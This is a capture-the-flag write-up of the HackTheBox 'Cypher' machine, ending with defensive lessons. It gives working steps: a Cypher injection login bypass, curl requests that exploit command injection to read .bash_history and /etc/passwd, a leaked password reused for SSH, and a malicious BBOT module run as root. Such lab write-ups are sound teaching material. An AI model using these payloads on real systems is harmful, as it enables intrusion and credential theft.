Cypher - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Cypher is a medium-difficulty Linux machine centered around exploiting a Neo4j graph database through Cypher injection vulnerabilities. The attack chain begins with authentication bypass on a login page, progresses through Java source code analysis to discover command injection in a custom JAR file, and culminates in privilege escalation via a malicious BBOT module. The machine emphasizes database injection techniques, source code analysis, and understanding custom tool configuration—all with real-world relevance to application security.

TL;DR: Cypher injection auth bypass → Command injection in custom JAR via Cypher query → RCE as neo4j → Extract graphasm credentials from .bash_history → Sudo BBOT privilege escalation with custom Python module → Root access.

Reconnaissance

Port Scanning

# Initial port scan to identify open services
ports=$(nmap -p- --min-rate=1000 -Pn -T4 10.10.11.61 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration on discovered ports
nmap -p$ports -Pn -sC -sV 10.10.11.61

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp   open  http    nginx 1.24.0 (Ubuntu)

Two services are exposed: SSH on port 22 and a web application running on port 80 via nginx.

Service Enumeration

Port 80 - Web Application:

Initial connection to port 80 redirects to http://cypher.htb/, indicating virtual host routing. Adding the hostname to /etc/hosts is necessary:

echo '10.10.11.61 cypher.htb' | sudo tee -a /etc/hosts

Upon accessing the application, a login page for Graph ASM is displayed. The application appears to be a graph visualization tool with a “Try our free demo” button.

Web Directory Fuzzing:

gobuster dir -u http://cypher.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200

This reveals a /testing directory containing a Java JAR file for further analysis.

Vulnerability Assessment

1. Cypher Injection – The login form is vulnerable to Cypher query injection due to improper input sanitization
2. Command Injection – A custom Java function in the JAR file concatenates user input directly into system commands
3. Credential Exposure – Historical bash commands in .bash_history contain plaintext credentials
4. Insecure Sudo Configuration – The graphasm user can run BBOT as root without a password
5. Module Loading – BBOT allows loading custom modules from arbitrary directories, enabling code execution

Initial Foothold

Exploitation Path

Step 1: Cypher Injection Authentication Bypass

Attempting basic SQL injection with a single quote reveals the backend query structure:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' return h.value as hash

This is a Neo4j Cypher query. We can bypass authentication by injecting a condition that always evaluates to true:

Username: ' OR true return "5d41402abc4b2a76b9719d911017c592" as hash; //
Password: cypher (or any password matching the SHA1 hash)

The crafted payload modifies the query to:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' OR true return "5d41402abc4b2a76b9719d911017c592" as hash; // return h.value as hash

Where 5d41402abc4b2a76b9719d911017c592 is the SHA1 hash of “cypher”. Successfully submitting this grants access to the /demo endpoint.

Step 2: Discovering Command Injection

After obtaining directory listing via gobuster, the /testing directory reveals a JAR file. Analyzing the decompiled source code using jdex-gui shows a vulnerable custom function:

public String getUrlStatusCode(String url) {
    String command = "ping -c 1 " + url;
    // User input directly concatenated without sanitization
    Process p = Runtime.getRuntime().exec(command);
    // ...
}

This function is accessible via the Cypher query interface. We can exploit it by injecting shell metacharacters:

Step 3: Remote Code Execution as neo4j

Execute arbitrary commands through the vulnerable query endpoint:

# Test command execution with whoami
curl -X POST http://cypher.htb/api/query \
  -H "Content-Type: application/json" \
  -d '{"query":"CALL custom.getUrlStatusCode('"'"'example.com; whoami'"'"')"}'

This returns neo4j, confirming code execution as the neo4j user.

Step 4: Credential Extraction

Access the neo4j user’s home directory to find historical commands:

# Retrieve bash history from neo4j user
curl -X POST http://cypher.htb/api/query \
  -H "Content-Type: application/json" \
  -d '{"query":"CALL custom.getUrlStatusCode('"'"'example.com; cat /var/lib/neo4j/.bash_history'"'"')"}'

Output reveals:

neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

Step 5: Identifying Alternative Users

# List system users with shell access
curl -X POST http://cypher.htb/api/query \
  -H "Content-Type: application/json" \
  -d '{"query":"CALL custom.getUrlStatusCode('"'"'example.com; cat /etc/passwd | grep bash'"'"')"}'

This reveals a user named graphasm in addition to neo4j.

Step 6: SSH Access as graphasm

The credentials found in neo4j’s history work for the graphasm user:

ssh graphasm@10.10.11.61
# Password: cU4btyib.20xtCMCXkBmerhK

Once authenticated, retrieve the user flag:

cat /home/graphasm/user.txt

Privilege Escalation

Enumeration as graphasm

Check sudo privileges:

sudo -l

Output shows:

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

The graphasm user can execute BBOT (BigHuge BLS OSINT Tool) as root without a password.

BBOT Module Exploitation

BBOT supports custom modules loaded from configurable directories. Create a malicious module to execute commands as root:

Create module configuration file:

cat > /tmp/my_preset.yml << 'EOF'
modules:
  - mymodule

module_dirs:
  - /tmp/my_modules
EOF

Create custom Python module:

mkdir -p /tmp/my_modules

cat > /tmp/my_modules/mymodule.py << 'EOF'
from bbot.modules.base import BaseModule
import os

class mymodule(BaseModule):
    watched_events = ["DNS_NAME"]

    async def handle_event(self, event):
        # Execute command with root privileges
        os.system("cat /root/root.txt > /tmp/flag")
        os.system("chmod 644 /tmp/flag")
EOF

Execute BBOT with the malicious module:

sudo /usr/local/bin/bbot -p /tmp/my_preset.yml --force

BBOT loads the custom module with root privileges and executes the embedded command. The root flag is written to /tmp/flag:

cat /tmp/flag

This grants access to the root flag, completing the machine.

Attack Chain Summary

Reconnaissance (Nmap + Gobuster)
    ↓
Cypher Injection Authentication Bypass (Login Form)
    ↓
Access /demo Endpoint
    ↓
Discover /testing Directory with JAR File
    ↓
Java Source Code Analysis (Command Injection in getUrlStatusCode)
    ↓
RCE as neo4j User (Arbitrary Shell Command Execution)
    ↓
Extract Credentials from /var/lib/neo4j/.bash_history
    ↓
SSH Access as graphasm User
    ↓
Enumerate Sudo Privileges (BBOT with NOPASSWD)
    ↓
Create Malicious BBOT Custom Module
    ↓
Execute BBOT as root
    ↓
Root Command Execution via Module
    ↓
Root Flag Captured

Tools Used

Key Learnings

Techniques Practiced

• Cypher Injection – Understanding NoSQL query languages and injection attack vectors similar to SQL injection
• Java Source Code Analysis – Decompiling JAR files to identify vulnerabilities in custom code
• Command Injection – Exploiting unsafe string concatenation in system command execution
• Credential Harvesting – Extracting plaintext passwords from bash history and configuration files
• Custom Tool Abuse – Leveraging legitimate tools (BBOT) with malicious custom modules for privilege escalation
• Virtual Host Enumeration – Identifying and accessing applications behind hostname-based routing

Lessons Learned

1. Graph databases require the same injection protections as SQL databases – Parameterized queries and input validation are essential for all query languages.

2. Decompiled source code is invaluable during penetration testing – Analyzing Java bytecode reveals implementation details and security flaws that external testing might miss.

3. Bash history files are gold for credential recovery – System administrators often test credentials via command-line tools, leaving traces in history files.

4. Privilege escalation often involves legitimate tools – Administrative utilities like BBOT can become attack vectors if they support plugins or modules from untrusted sources.

5. Sudo permissions without password restrictions are dangerous – NOPASSWD sudoers entries should be restricted to absolutely necessary commands with no alternative execution paths.

6. Defense in depth is critical – This machine chain required multiple vulnerabilities; fixing any single link would have prevented complete compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>